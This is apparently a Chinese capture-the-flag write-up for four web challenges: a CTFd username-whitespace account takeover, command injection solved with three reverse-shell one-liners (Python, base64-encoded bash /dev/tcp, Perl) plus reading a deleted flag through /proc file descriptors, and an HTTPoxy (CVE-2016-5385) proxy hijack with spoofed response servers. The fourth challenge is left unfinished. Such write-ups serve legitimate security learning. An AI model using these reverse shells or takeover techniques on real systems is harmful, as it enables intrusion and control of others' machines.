0x 01 HappyCTFd
- 原理分析:
注册用户时判断用户是否存在的时候没有对两端空格进行处理,而插入数据库的时候去除了两端的空格。而后在重置密码时,用的又是这个被处理之后的用户名。
- 攻击流程:
- 利用添加空格绕过限制来注册一个与受害者用户名相同的账号
- 生成忘记密码链接发送到自己的邮箱
- 将自己的账号的用户名改成与被攻击者不相同的用户名
- 用邮箱中收到的链接更改密码即可。
- 首先注册一个用户名为 “空格+admin” 的账户。

然后用隐私窗口打开,发送密码重置邮件

之后修改自己的用户名

用邮箱中的链接来重置密码

在后台隐藏的题目中找到了flag

参考资料:
https://www.colabug.com/2020/0204/6940556/
0x 02 CHECKIN
- 页面右键打开查看源代码进行审计

shell路由通过传入参数可以进行命令执行,在每次执行命令前都会把 flag 文件删除且不带回显结果
- 因为是python应用,先反弹一个shell到内网的一个靶机中
| 12
 3
 4
 5
 6
 7
 8
 
 | 第一种python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.34.205",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
 
 第二种
 echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3NC4wLjIyMi4yMDMvMTIzNCAwPiYxCg==|base64 -d|bash
 
 第三种
 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.0.222.203:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
 
 | 

这里引入文件描述符:
什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。
例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。
文件描述符储存在什么地方:/proc/<pid>/fd<id>
也就是说,我们可以通过cat进程中的fd来获取到文件描述符。相关知识点在高校运维挑战赛中也考到了。
利用cat /proc/*/fd/*读取文件缓存找到被移除的flag.txt,得到flag

0x 03 TimeTravle
- 考点 - HTTPoxy漏洞(CVE-2016-5385) 
- 解题过程 
- 页面打开显示了源代码,进行审计

传入参数flag,会请求一个 HTTPAPI 服务,那个服务返回 success 的话就执行程序读 flag。
传入参数file,就回去读这个文件。
传入参数phpinfo,就会执行 phpinfo。
- 用返回包中可以知道服务器使用的是Nginx + PHP,查看phpinfo服务器是cgi模式,符合https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy 所述,我们需要传入一个 Proxy头,使其产生一个 HTTP_PROXY 环境变量,这个环境变量再被程序里的 GuzzleHttp 使用,即可使流量走代理,控制返回的请求。
- 尝试进行文件读取/start.sh
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | #!/usr/bin/env bash
 chmod +x /readflag
 chmod +s /readflag
 echo $FLAG > /flag && export FLAG=not_flag && FLAG=not_flag && cd /srv/
 
 chmod 700 /flag
 
 python3 /srv/app.py &
 
 
 php-fpm &
 
 service nginx start
 
 tail -F /dev/null
 
 | 
开启了php-fpm,http://127.0.0.1:5000/api/eligible服务就是这个/srv/app.py提供的,读取/srv/app.py
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | from flask import Flaskimport datetime
 import json
 app = Flask(__name__)
 
 @app.route('/api/eligible')
 def source():
 current_year = int(datetime.datetime.now().strftime("%Y"))
 if current_year < 2050:
 return json.dumps({"success": False})
 else:
 return json.dumps({"success": True})
 
 if __name__ == "__main__":
 app.run(host='127.0.0.1')
 
 | 
- 方法一:构造一个response返回就可以了,参考一位师傅的payload:
| 12
 3
 4
 5
 6
 7
 8
 
 | HTTP/1.1 200 OKServer: nginx/1.14.2
 Date: Sat, 29 Feb 2020 05:27:31 GMT
 Content-Type: text/html; charset=UTF-8
 Connection: Keep-alive
 Content-Length: 16
 
 {"success":true}
 
 | 


方法二:用SimpleHTTPServer模块
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | from http.server import BaseHTTPRequestHandler, HTTPServerimport json
 class DemoHttpServer(BaseHTTPRequestHandler):
 def do_GET(self):
 self.send_response(200, message='OK')
 self.send_header('Content-Type', 'application/json')
 self.end_headers()
 self.wfile.write(json.dumps({"success": True}).encode())
 
 
 if __name__ == '__main__':
 server = HTTPServer(('0.0.0.0', 1234), DemoHttpServer)
 print('Server is running, user <Ctrl+C> to srop.')
 server.serve_forever()
 
 | 
方法三:
| 12
 3
 
 | $arr = array("success"=>true);header("Content-Type:application/json");
 echo json_encode($arr);
 
 | 
当前目录启动php -S 0:2333
参考资料:
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
0x 04 EasySpringMVC
待补上
参考资料:
https://blog.csdn.net/Leon_cx/article/details/81517603
https://blog.csdn.net/chasingin/article/details/104593868
https://www.zhaoj.in/read-6407.html